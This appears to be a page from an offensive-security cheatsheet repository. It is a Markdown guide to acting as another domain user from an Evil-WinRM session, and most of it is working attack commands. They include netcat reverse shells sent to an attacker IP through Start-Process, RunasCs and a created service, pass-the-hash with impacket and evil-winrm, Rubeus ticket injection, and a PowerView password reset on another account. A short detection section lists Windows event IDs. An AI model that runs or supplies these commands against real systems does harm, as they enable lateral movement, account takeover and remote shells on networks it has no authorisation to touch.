repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
run-as-another-user-from-evil-winrm.mdMarkdown221 lines12.5 KiBsource raw download

title: "Run as Another User from an Evil-WinRM Session" description: "You're local admin over WinRM but need to act as a different domain user โ€” spawn processes, tasks, or loopback PowerShell sessions with alternate credentials." category: active-directory subcategory: "Lateral Movement" tags: ["active-directory", "lateral-movement", "evil-winrm", "runas", "runascs", "kerberos", "pass-the-hash"] tools: ["Evil-WinRM", "PowerShell", "RunasCs", "Rubeus", "Impacket", "sc.exe"] difficulty: intermediate updated: "2026-09-25"#

๐Ÿ‘ค Run as Another User from an Evil-WinRM Session#


๐Ÿ“– How It Works#

An evil-winrm session runs entirely in the context of the user you connected as โ€” and WinRM gives you no interactive desktop, so runas /netonly and anything that pops a credential prompt will not work. Being local admin does not magically let you "switch user": you must spawn a new process, service, scheduled task, or loopback PowerShell session using the target user's credentials.

The catch: you need the target user's password (or hash/Kerberos ticket) โ€” admin rights alone don't grant their token unless they have an active session on the box (see token theft at the bottom).

Typical scenario: you're Administrator on the box, but the next step (Kerberos attack, share access, web service auth) only works as DOMAIN\lowpriv.


โš™๏ธ Prerequisites#

Requirement Detail
Evil-WinRM session Connected as local admin (or any user)
Target user's cleartext password For PSCredential / scheduled task methods
WinRM listening on localhost Only for the Invoke-Command loopback method (usually true โ€” you're connected via it)

๐Ÿ’ป Full Commands#

๐Ÿ”ด Method 1 โ€” Invoke-Command loopback (cleanest, output comes back)#

# โ”€โ”€ Build a credential object โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# โ”€โ”€ Run a command as that user against localhost โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
  whoami
  klist        # shows THEIR Kerberos tickets, not yours
}

๐Ÿ”ด Method 2 โ€” Start-Process (no console in WinRM โ†’ redirect output to a file)#

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

Start-Process -FilePath "cmd.exe" `
  -ArgumentList "/c whoami > C:\Temp\out.txt 2>&1" `
  -Credential $cred

Start-Sleep 2; type C:\Temp\out.txt

๐Ÿ”ด Method 3 โ€” Scheduled task as the target user#

# โ”€โ”€ cmd one-liner โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
schtasks /create /tn "UpdateCheck" /ru "CORP\lowpriv" /rp "P@ssword123!" `
  /sc once /st 23:59 /tr "cmd /c whoami > C:\Temp\out.txt"
schtasks /run /tn "UpdateCheck"
# then: type C:\Temp\out.txt  &&  schtasks /delete /tn "UpdateCheck" /f

# โ”€โ”€ PowerShell equivalent โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c whoami > C:\Temp\out.txt"
Register-ScheduledTask -TaskName "UpdateCheck" -Action $action `
  -User "CORP\lowpriv" -Password 'P@ssword123!'
Start-ScheduledTask -TaskName "UpdateCheck"

๐Ÿ”ด Method 4 โ€” Reverse shell as the target user#

# Listener on your box first:  nc -lvnp 443
$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

Start-Process -FilePath "C:\Temp\nc.exe" `
  -ArgumentList "10.10.14.5 443 -e cmd.exe" `
  -Credential $cred -WindowStyle Hidden
# The shell that lands runs as CORP\lowpriv

๐Ÿ”ด Method 5 โ€” RunasCs.exe (captures output, no console needed)#

RunasCs is a standalone binary built for exactly this problem: unlike native runas, it needs no interactive desktop and it hands the child process's stdout back to you, so it fits a WinRM session cleanly. Upload the exe, then run a command as the target user.

# Output comes straight back โ€” no file redirect
.\RunasCs.exe lowpriv 'P@ssword123!' "whoami /all" --domain CORP

# Reverse shell as that user (logon type 8 = NetworkCleartext keeps the creds usable on the network)
.\RunasCs.exe lowpriv 'P@ssword123!' -d CORP "C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" --logon-type 8
Flag Purpose
-d, --domain Target user's domain (omit for a local account)
-l, --logon-type 2 interactive ยท 3 network ยท 8 network-cleartext ยท 9 NewCredentials (runas /netonly equivalent)
--bypass-uac Return a high-integrity token when the target user is a local admin
-r, --remote-impersonation Reuse an existing logon session's token instead of a new logon

๐Ÿ”ด Method 6 โ€” WMI / service run as the target#

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# WMI: the CIM session authenticates AS lowpriv, so the created process runs in that context
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
  -Arguments @{ CommandLine = 'cmd /c whoami > C:\Temp\out.txt' } `
  -CimSession (New-CimSession -ComputerName localhost -Credential $cred)
Start-Sleep 2; type C:\Temp\out.txt
:: A service's binPath runs under the account you set (needs local admin / SeCreateService).
:: obj= is the run-as account, password= its password.
sc.exe create svcx binPath= "cmd /c C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" obj= "CORP\lowpriv" password= "P@ssword123!" start= demand
sc.exe start svcx
:: cleanup after the shell lands:  sc.exe delete svcx

๐Ÿ”ด Only have a hash or ticket? Skip the session entirely#

# From Linux โ€” no need to be "that user" on the box at all:
evil-winrm -i 10.10.10.10 -u lowpriv -H 2b576acbe6bcfda7294d6bd18041b8fe   # if they can WinRM
impacket-wmiexec 'CORP/lowpriv@10.10.10.10' -hashes :2b576acbe6bcfda7294d6bd18041b8fe
klist   # or request a TGT with impacket-getTGT and go the Kerberos route
# On the box with Rubeus โ€” turn a hash or password into THEIR Kerberos ticket in your session.
# /ptt injects the TGT into the current logon; /createnetonly spawns a sacrificial process to hold it.
Rubeus.exe asktgt /user:lowpriv /rc4:2b576acbe6bcfda7294d6bd18041b8fe /domain:corp.local /ptt
Rubeus.exe asktgt /user:lowpriv /password:'P@ssword123!' /domain:corp.local /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
klist    # confirm lowpriv's TGT is now cached โ€” Kerberos-authenticated access follows as that user

๐Ÿ”ด Worked example โ€” ForceChangePassword abuse as another user#

Scenario: your session user is admin on the box, but CORP\lowpriv (whose password you know) is the one holding ForceChangePassword over ssmalls. Reset ssmalls' password in lowpriv's context:

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# โ”€โ”€ Simplest: net user, no PowerView needed โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Start-Process cmd.exe -Credential $cred `
  -ArgumentList '/c net user ssmalls Str0ngpass86! /domain > C:\Temp\out.txt 2>&1'
Start-Sleep 2; type C:\Temp\out.txt

# โ”€โ”€ PowerView via -EncodedCommand (avoids nested-quote hell) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# *> redirects ALL streams (incl. Verbose) โ€” plain > would swallow the confirmation
$cmd = "Import-Module C:\Temp\PowerView.ps1; Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose *> C:\Temp\out.txt"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
Start-Process powershell.exe -Credential $cred -ArgumentList "-NoProfile -EncodedCommand $enc"
Start-Sleep 3; type C:\Temp\out.txt

# โ”€โ”€ Cleanest for PowerShell functions: Invoke-Command loopback โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
  Import-Module C:\Temp\PowerView.ps1
  Set-DomainUserPassword -Identity ssmalls `
    -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose
}

๐Ÿ’ก The reset hits the DC over the network, so any process carrying lowpriv's credentials can do it โ€” no interactive logon required. If your current session user already has the right, skip the wrapping and run Set-DomainUserPassword directly.


โš ๏ธ Gotchas#


๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4624 Security Log Logon Type 2/3/8/9 by a user who "never logs in" to that host (8/9 flag RunasCs netonly/cleartext)
4688 Security Log cmd.exe/powershell.exe spawned with alternate credentials; unusual parent (services.exe, WmiPrvSE.exe)
4648 Security Log Explicit credential logon (runas-style) โ€” the strongest single signal for every method here
4698/4702 Security Log Scheduled task created/updated running as another user
4697 / 7045 Security / System Log Service installed with a per-account binPath (Method 6 sc.exe create โ€ฆ obj=)
4672 Security Log Special privileges assigned โ€” fires when the run-as token is a local admin

๐Ÿงฐ Troubleshooting#

Problem Cause & fix
Enter-PSSession with new creds fails: "Access is denied" Non-admin users need explicit PSRemoting rights. The target account must be in Remote Management Users or have a matching Set-PSSessionConfiguration ACE
The user name or password is incorrect on a valid password Wrong logon format. Use DOMAIN\user or user@domain.fqdn; a bare username resolves against the local SAM, not the domain
runas prompts interactively โ€” no good over WinRM WinRM has no interactive desktop. Use Start-Process -Credential, a new PSSession, or Invoke-Command -Credential instead of runas
Invoke-Command -Credential gives a double-hop / access-denied to a third box Classic Kerberos double-hop โ€” your delegated creds do not forward. Use CredSSP, a fresh session from the target, or -Authentication Negotiate with explicit creds
Second-hop network resource (share/SQL) denies the run-as token The token is network-logon only. Establish a full logon (Start-Process/scheduled task) so the secondary logon carries usable network credentials
Password has shell-breaking characters Build the credential object in code โ€” ConvertTo-SecureString/PSCredential โ€” rather than pasting the password on the command line

๐Ÿ”— See Also#


โœ… Run-as-another-user complete.